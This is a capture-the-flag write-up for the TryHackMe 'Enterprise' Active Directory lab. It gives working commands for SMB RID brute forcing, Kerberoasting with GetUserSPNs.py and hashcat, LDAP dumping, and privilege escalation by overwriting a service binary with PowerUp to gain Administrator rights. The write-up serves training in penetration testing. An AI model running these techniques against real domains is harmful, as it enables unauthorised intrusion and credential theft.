---
description: https://tryhackme.com/room/enterprise
---

# Enterprise

## Nmap

```
nmap 10.10.116.56 -p- -sS -sV 

PORT      STATE    SERVICE       VERSION
53/tcp    filtered domain
80/tcp    open     http          Microsoft IIS httpd 10.0
88/tcp    open     kerberos-sec  Microsoft Windows Kerberos (server time: 2022-04-12 18:42:06Z)
135/tcp   open     msrpc         Microsoft Windows RPC
139/tcp   open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open     ldap          Microsoft Windows Active Directory LDAP (Domain: ENTERPRISE.THM0., Site: Default-First-Site-Name)
445/tcp   open     microsoft-ds?
464/tcp   open     kpasswd5?
593/tcp   open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open     tcpwrapped
3268/tcp  open     ldap          Microsoft Windows Active Directory LDAP (Domain: ENTERPRISE.THM0., Site: Default-First-Site-Name)
3269/tcp  open     tcpwrapped
3389/tcp  open     ms-wbt-server Microsoft Terminal Services
5357/tcp  open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5985/tcp  open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7990/tcp  open     http          Microsoft IIS httpd 10.0
9389/tcp  open     mc-nmf        .NET Message Framing
47001/tcp open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open     msrpc         Microsoft Windows RPC
49665/tcp open     msrpc         Microsoft Windows RPC
49666/tcp open     msrpc         Microsoft Windows RPC
49668/tcp open     msrpc         Microsoft Windows RPC
49669/tcp open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
49670/tcp open     msrpc         Microsoft Windows RPC
49672/tcp open     msrpc         Microsoft Windows RPC
49678/tcp open     msrpc         Microsoft Windows RPC
49702/tcp open     msrpc         Microsoft Windows RPC
49706/tcp open     msrpc         Microsoft Windows RPC
Service Info: Host: LAB-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
```

**Note:** Add the following to /etc/hosts.

```
<IP>     lab.enterprise.thm lab-dc.enterprise.thm enterprise.thm 
```

Starting out we check SMB and find that anonymous login is allowed.

```bash
crackmapexec smb <IP> -u 'a' -p '' 
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FkY5TNDqHXHczzX4rXgYV%2Fimage.png?alt=media\&token=1afafca2-c385-49fc-9f02-828867e5410e)

Running `crackmapexec` with various parameters we are able to identify users using a RID brute force.

```bash
crackmapexec smb <IP> -u 'a' -p '' --loggedon-users --sessions --users  --rid-brute 10000 | grep '(SidTypeUser)' 
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Ff25PxBVzRuJTSR70Ymz5%2Fimage.png?alt=media\&token=0160a952-ca34-496f-92ee-24f931c54e17)

However, we are unable to proceed with any of this information so far. Brute forcing the user accounts proved to be unsuccessful.

Checking the web server running on port 7790 reveals the following below; where we see that Enterprise-THM is moving to Github.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FvQh3K42jGldXPGowz4dc%2Fimage.png?alt=media\&token=7d9069b3-38b2-4b92-95f6-3ec34c1c8cc6)

Searching for Enterprise-THM on Google shows the following Github page.

**Github:** [https://github.com/Enterprise-THM](https://github.com/Enterprise-THM)

On the right we see a profile for "nik".

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FWIGkkpIL39lM7MR95GLx%2Fimage.png?alt=media\&token=44d558e9-f2c2-4a62-8413-ed01ee81e71b)

We can see under the profile a mgmtScript.ps1 file. Nothing of interest here so far...

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FbkHh38Dk1X8jTJc7kg0l%2Fimage.png?alt=media\&token=903dd8b0-cbdb-4910-ace2-9ff60c8767cd)

However, looking back at the file commit history we see the original file upload which had user credentials stored within the script.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FryC2gGDXlhaOnHtpECTP%2Fimage.png?alt=media\&token=7c41b314-ef13-4e93-bef2-80bab924454d)

We can take these user credentials and list the SMB shares on the target Domain Controller.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F5gA5ajf6bJRn2HcCmqh8%2Fimage.png?alt=media\&token=2869f03d-4f9d-4fe7-b985-92de51d5b40d)

Finding some sensitive documents. I tried to crack these after converting them to a hash format with `office2john.py`. I was unable to successfully crack the hashes after some time.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Ft39u5vKjjw9wqv6IxwKz%2Fimage.png?alt=media\&token=0f5e43f5-bce6-4702-8aca-a0fa480ad447)

Looking inside the path shown below we find `Consolehost_hisory.txt`.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F1MGTyZaI5CFlh2S4uMUs%2Fimage.png?alt=media\&token=f1c1f584-cdcd-4171-98e7-08e63d452fbe)

Reading the contents of `Consolehost_hisory.txt` we see some credential information.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fh3P4yfjN9jA1UiHoe3r2%2Fimage.png?alt=media\&token=60e81e1d-85d5-45a6-9ba9-b91af6c48785)

I was unable to find anywhere where the credentials are usable. As such, I went back to further enumerating with Nik's credentials.

```bash
GetUserSPNs.py lab.enterprise.thm/nik:<Password> -request -dc-ip <IP>
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fn50huT8dHz0JbndcwGr4%2Fimage.png?alt=media\&token=f12f9b83-1ec4-4d5b-bde0-804dad5f06bd)

We recevie a TGT hash for the account _bitbucket_. Using Hashcat we are able to crack this quite quickly aganst the `rockyou.txt` wordlist.

```bash
hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt 
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FBwpovX3wr021eTFi59Fj%2Fimage.png?alt=media\&token=a114aea7-bf82-4e4c-9798-05b4a811ac55)

With the new set of credentials we are then able to run `ldapdomaindump` to dump `LDAP` information into HTLM format.

```
ldapdomaindump -u lab.enterprise.thm\\bitbucket -p <Password> ldap://<IP>
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F4sE9qSZAYk6fegnXkLnM%2Fimage.png?alt=media\&token=baf1a5f0-24b3-4277-9d6d-9023e1a41e16)

Viewing the Domain Users group we notice in the description field, a password is left in the clear for the user `contractor-temp`. Again, we are unable to process in the envionment with these credentials.

Looking furhter into the LDAP information we see the user bitbucket is a member of "Remote Desktop Users".

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fu63ufcpL7spL4Kp1IRew%2Fimage.png?alt=media\&token=c1b4330c-24f2-47fc-8df1-46ad30b20d64)

```bash
/xfreerdp /v:<IP> /u:'bitbucket' /p:<Password> +clipboard /dynamic-resolution
```

We can then login over `RDP` and grab the `user.txt` flag.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F2S4Wyh9tPdF55OMwNHMH%2Fimage.png?alt=media\&token=db5de463-708e-4d1a-81ee-bdc5ce68da71)

After grabbing the flag `PowerUp.ps1` is uploaded to the Domain Controller and run with the "Invoke-AllChecks" command.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F4D1SFD3gxe03AKOGcUCm%2Fimage.png?alt=media\&token=3a6756ec-c236-40c3-a093-aef849152065)

We see that the service "zerotieroneservice" runs as SYSTEM, and we have the ability to change the service binary as well as manipulate the running state of the service.

The command below is used to abuse this as well as add our current user bitbucket to the Administrators group.

```powershell
Install-ServiceBinary -Name "zerotieroneservice" -Command "net localgroup Administrators lab.enterprise.thm\bitbucket /add"
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F20cuzW0pxDIoa6Mvkbae%2Fimage.png?alt=media\&token=d0429510-0ba1-4a44-a492-90eba2cc9c76)

After performing the service abuse we then stop and start the zerotieroneservice.

```
sc.exe stop zerotieroneservice
sc.exe start zerotieroneservice
```

Checking bitbucket's group memberships we see we are now a member of the Administrators group.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F3K2fkUtaYFIH6D5eRpMh%2Fimage.png?alt=media\&token=6718890a-8847-4714-bd43-1b0aed023e82)

Firstly, we need to logoff from command prompt and sign in again over RDP to referesh our privileges to reflect that of an Administrator.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F3oml4wNnf2hIZVYOGxCd%2Fimage.png?alt=media\&token=30910e33-f322-4515-b071-24d11b6eae22)

We are then able to read the `root.txt` flag on the Administrators desktop.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FfHL37ma3ch07ezS0sP51%2Fimage.png?alt=media\&token=a15c5107-1620-4d1b-bd50-bd1ff92802a5)
